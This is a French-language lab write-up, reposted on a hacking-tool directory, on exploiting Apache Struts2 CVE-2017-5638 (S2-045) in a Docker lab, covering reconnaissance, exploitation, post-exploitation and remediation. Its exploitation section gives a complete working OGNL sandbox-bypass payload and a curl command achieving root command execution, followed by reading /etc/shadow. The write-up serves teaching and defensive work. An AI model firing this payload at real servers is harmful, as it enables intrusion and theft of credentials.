Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2017-5638 | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2017-5638
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubdungsocool/cve-2017-5638

CVE-2017-5638

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

LAB 1 — Injection OGNL dans Apache Struts2 (CVE-2017-5638 / S2-045)

I. ANALYSE DU SYSTÈME

Analyse de la surface d'attaque

image.png

Après le démarrage du conteneur, les journaux Struts2 montrent que l'application charge des fichiers de configuration familiers tels que struts-default.xml, struts-plugin.xml et struts.xml. Cela confirme que le framework utilisé est Apache Struts2.

image.png

Un point notable se trouve dans la ligne :

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

Cette ligne indique que Struts2 choisit le parseur multipart Jakarta (analyseur de données d'upload multipart) pour traiter les requêtes de type multipart/form-data, que l'on rencontre couramment dans les fonctionnalités d'upload de fichiers.

C'est un signal crucial lors de l'analyse de S2-045 / CVE-2017-5638, car cette vulnérabilité est liée au processus par lequel Struts2 gère les erreurs lors de l'analyse des requêtes multipart, en particulier avec un en-tête Content-Type invalide.

Cependant, ce journal prouve seulement que l'application utilise Struts2 et un gestionnaire multipart de type Jakarta. Cela ne suffit pas encore à conclure que l'application est définitivement vulnérable. Pour confirmer, il faut déterminer la version de struts2-core et la comparer à la plage de versions affectées.

image.png

image.png

image.png

En accédant au service web avec curl, les en-têtes de réponse montrent que l'application s'exécute sur Jetty 9.2.11.v20150529. Cette information permet d'identifier l'environnement qui exécute l'application (conteneur de servlets), mais ne révèle pas directement la version de Struts2.

L'interface web renvoie la page Struts2 Showcase - Fileupload sample, avec un formulaire d'upload utilisant :

method="POST" enctype="multipart/form-data" action="/upload.action"

Cela correspond au journal précédent où Struts2 choisissait jakarta pour MultiPartRequest : l'application dispose bien d'un flux de traitement d'upload de fichiers via multipart/form-data.

⇒ Réflexion : Le point de terminaison /upload.action utilise multipart/form-data, ce qui correspond au mécanisme que Struts2 traite via Jakarta MultiPartRequest. C'est un signe qui renforce la suspicion de S2-045/CVE-2017-5638, mais il faut déterminer la version de Struts2 avant de conclure que l'application est vulnérable. Ensuite, une vérification plus approfondie est encore nécessaire concernant la version de struts2-core et la façon dont l'application gère les erreurs lorsqu'elle reçoit un Content-Type invalide.

Détermination de la version de Struts2

Après avoir identifié que l'application dispose d'un point de terminaison d'upload utilisant multipart/form-data, l'étape suivante de l'analyse consiste à trouver la version réelle de Struts2. C'est crucial car les signes précédents montraient seulement que l'application dispose d'un mécanisme lié à l'upload multipart, ce qui ne suffit pas encore à conclure qu'elle est vulnérable.

image.png

Après avoir identifié le bon conteneur desservant le point de terminaison 8001, la vérification des bibliothèques est effectuée directement à l'intérieur du conteneur project1-lab01-1.

Le résultat a trouvé le fichier struts2-core :

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

À partir de ce chemin, on peut déterminer que l'application utilise Apache Struts2 2.3.30.

image.png

En comparant cela avec la vulnérabilité publiée CVE-2017-5638 / S2-045, celle-ci affecte de nombreuses versions plus anciennes de Struts2, y compris la branche 2.3.x antérieure au correctif. Lorsqu'on combine cela avec :

Framework: Apache Struts2 Version: 2.3.30 Parseur multipart: Jakarta Point de terminaison: /upload.action Content-Type: multipart/form-data

La chaîne de conditions de l'analyse devient plus claire :

`Version Struts2 2.3.30 < Version 2.3.32

  • parseur multipart Jakarta + point de terminaison d'upload → L'application se situe dans la plage de forte suspicion de S2-045/CVE-2017-5638`

Cependant, d'un point de vue analytique, une version vulnérable n'est qu'une preuve du potentiel d'être affecté. Pour confirmer au niveau comportemental, il faut envoyer une requête multipart anormale et observer la réponse/les journaux pour voir si elle entre dans la branche de gestion des erreurs du parseur multipart de Struts2.

⇒ Réflexion : À ce stade, il ne s'agit plus seulement d'identifier le framework ; la version 2.3.30 confirme que l'application se situe dans la plage de versions affectées de S2-045/CVE-2017-5638. L'étape restante consiste à vérifier le comportement de gestion des erreurs multipart pour compléter la chaîne de preuves.

Vérification du flux de traitement multipart valide

image.png

Nous devons vérifier si les requêtes envoyées à /upload.action passent réellement par le mécanisme de traitement multipart de Struts2. Ici, j'utilise la commande curl avec l'option -F pour tester le mécanisme de traitement. Et le résultat renvoyé se décompose en parties :

`

  • ContentType: text/plain
  • FileName: test.txt
  • File: /usr/src/target/tmp/upload_...
  • Caption:test
  • `

    ⇒ Une requête valide prouve que /upload.action passe bien par le mécanisme d'upload multipart car curl -F génère du multipart/form-data et le serveur peut analyser chaque partie de la requête.

    Vérification de la réaction en cas d'échec de la requête multipart

    image.png

    image.png

    Après avoir envoyé une requête déclarant Content-Type comme multipart/form-data mais avec un corps qui n'est pas conforme à la structure multipart, le serveur renvoie toujours HTTP 200 OK. Cependant, les champs ContentType, FileName, File et Caption sont tous vides. En vérifiant les journaux Docker, on constate qu'il n'y a pas de boundary (chaîne de séparation entre les parties du multipart), et le client reçoit toujours HTTP 200 OK. Cependant, Struts2 a en réalité rencontré une erreur lors du traitement de la requête.

    Cela prouve la chaîne de preuves :

    Requête multipart erronée → Struts2 enveloppe la requête → MultiPartRequestWrapper est appelé → JakartaMultiPartRequest analyse la requête → FileUploadException due à l'absence de boundary

    ⇒ Cela correspond aux composants liés à S2-045/CVE-2017-5638. Ainsi, la chaîne de conditions est plus complète : version vulnérable, parseur Jakarta, point de terminaison d'upload, et la requête erronée entre dans la bonne branche de traitement multipart.

    Le point critique de S2-045/CVE-2017-5638 ne réside pas uniquement dans l'échec du parseur multipart. L'erreur du parseur n'est que la condition de déclenchement initiale. La partie dangereuse réside dans la façon dont Struts2 gère ensuite le message d'erreur. Avec les versions de Struts2 affectées, lorsque le parseur multipart rencontre une erreur, le contenu de l'erreur peut être injecté dans le mécanisme de gestion des messages de Struts2. Si un attaquant contrôle une partie des données apparaissant dans l'erreur, notamment depuis l'en-tête Content-Type, ces données peuvent être évaluées par Struts2 via OGNL (Object-Graph Navigation Language - le langage d'expressions de Struts/XWork).

    Réflexion :

    Content-Type anormal → erreur d'analyse du parseur multipart Jakarta → Struts2 génère/journalise un message d'erreur → le message d'erreur passe par le mécanisme d'évaluation d'expressions → si un OGNL malveillant est présent, cela peut conduire à une RCE


    II. EXPLOITATION

    En identifiant que la cible utilise Struts2, et puisque Struts2 utilise OGNL comme moteur d'expressions, une recherche sur PayloadsAllTheThings montre qu'injecter new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) dans Struts2 échouera car Struts2 dispose d'un sandbox qui bloque l'accès à java.lang.Runtime.

    image.png

    ⇒ Assemblez le payload trouvé dans la structure d'exploitation Struts2 :

    Déclencher le parseur Jakarta

    root@kitploit:~
    (#_="multipart/form-data")
    

    Contourner le sandbox Struts2 (Requis)

    root@kitploit:~
    (#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
    

    Payload d'exécution de commande

    root@kitploit:~
    (new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
    

    Cependant, lors de l'exécution réelle du payload, nous rencontrons deux problèmes :

    1. Erreur de version Java : Le serveur du lab tourne sur Jetty 2015 (Java 8), alors que la fonction readAllBytes() n'est prise en charge qu'à partir de Java 9. Si l'on persiste à l'utiliser, OGNL échoue silencieusement et renvoie une page HTML vide. Ce problème est résolu en utilisant plutôt la classe IOUtils de la bibliothèque org.apache.commons.io (toujours disponible dans Struts2) pour lire le flux.
    2. Filtrage de la sortie : Même si la commande s'est exécutée, intégrer le résultat directement dans le flux HTML peut casser la structure ou être filtré. Ce problème est résolu en accédant directement au HttpServletResponse, en utilisant getWriter().println() pour afficher la sortie en premier, puis en appelant flush() et close() pour terminer immédiatement la connexion. Cela force le serveur à renvoyer le résultat propre de l'exécution de la commande, en contournant tout le HTML parasite de l'interface.

    ⇒ En réassemblant les modifications ci-dessus, on obtient la commande curl complète (utilisant ProcessBuilder + IOUtils + Response Writer) :

    root@kitploit:~
    curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
    -H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
    -d "foo=bar"
    

    image.png

    Exploitation réussie !!!

    Bien que nous ayons obtenu une RCE avec les privilèges root, chaque commande doit être envoyée via une requête HTTP distincte, ce qui fournit un environnement non interactif. Un Reverse Shell permet d'établir une session persistante, en interagissant directement avec le système cible comme si l'on était assis devant la machine, pour la collecte d'informations et une post-exploitation plus approfondie.


    III. POST-EXPLOITATION

    Vérification des privilèges

    Après une exploitation réussie, vérifiez les privilèges sur le système :

    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    

    → L'application s'exécute avec les privilèges root — aucune élévation de privilèges n'est nécessaire.

    Collecte de données sensibles

    Lisez le fichier /etc/shadow (le fichier contenant les hashs de mots de passe, auquel seul root a le droit d'accéder) :

    image.png

    → Cela prouve que l'attaquant dispose d'un accès complet en lecture/écriture aux fichiers système, y compris les plus sensibles.

    Note sur le Reverse Shell

    La mise en place du reverse shell a échoué car le conteneur Docker sur Windows utilise un réseau interne (bridge/NAT) ; le conteneur ne peut pas se reconnecter à la machine de l'attaquant (Kali) sur le réseau local. Cependant, cela n'affecte pas la gravité de la vulnérabilité — l'attaquant a obtenu une RCE avec les privilèges root et peut exécuter n'importe quelle commande sur le système.


    IV. ÉVALUATION DES RISQUES & REMÉDIATION

    Évaluation des risques

    La vulnérabilité d'injection OGNL (CVE-2017-5638 / S2-045) sur ce système est évaluée au niveau de risque le plus élevé :

    Recommandations de remédiation

    Pour remédier complètement à cette vulnérabilité, les équipes d'administration système et de développement devraient mettre en œuvre les mesures suivantes (par ordre de priorité) :

    Priorités urgentes (à court terme) :

    1. Mettre à niveau Apache Struts2 : Mettez immédiatement à jour le framework vers une version sécurisée (≥ 2.3.32 ou ≥ 2.5.10.1). C'est une mesure obligatoire car la vulnérabilité réside au cœur de l'implémentation de la bibliothèque JakartaMultiPartRequest.
    2. Réduire les privilèges d'exécution : Ne jamais exécuter les applications web (Jetty/Tomcat) sous l'utilisateur root. Un utilisateur dédié (par exemple, struts_user) doit être créé avec les privilèges minimaux nécessaires pour exécuter l'application.

    Priorités élevées (à long terme et défense en profondeur) :

    1. Déployer un WAF (Web Application Firewall) : Configurez des règles WAF pour détecter et bloquer les requêtes HTTP contenant des payloads OGNL (par exemple, %{...}, ${...}, ognl, java.lang.ProcessBuilder) dans l'en-tête Content-Type.
    2. Changer de parseur multipart : Si l'application n'a pas l'obligation d'utiliser le parseur Jakarta, envisagez de passer à une bibliothèque alternative comme Pell ou COS dans le fichier de configuration struts.xml (struts.multipart.parser=cos).
    3. Restreindre la mise en réseau du conteneur : Ne laissez pas le conteneur sur un réseau bridge partagé sauf si nécessaire. Configurez des règles de pare-feu pour empêcher le conteneur d'initier activement des connexions sortantes (trafic sortant) vers Internet afin de prévenir les reverse shells.
    Télécharger l’outil
    CritèreÉvaluationDétails
    Score CVSS10.0 (Critique)Score absolu maximum.
    AuthentificationNon requiseL'attaquant n'a pas besoin de compte ni d'être connecté pour exploiter cette vulnérabilité.
    ComplexitéTrès faibleNécessite uniquement l'envoi d'une seule requête HTTP (POST) contenant le payload dans l'en-tête Content-Type.
    Privilèges obtenusrootContrôle total de l'application/conteneur au niveau de privilège le plus élevé, avec la capacité de lire/écrire n'importe quel fichier (comme /etc/shadow).
    Mouvement latéralÉlevéDepuis le conteneur compromis, l'attaquant peut scanner le réseau interne (LAN) et attaquer d'autres conteneurs ou serveurs hôtes.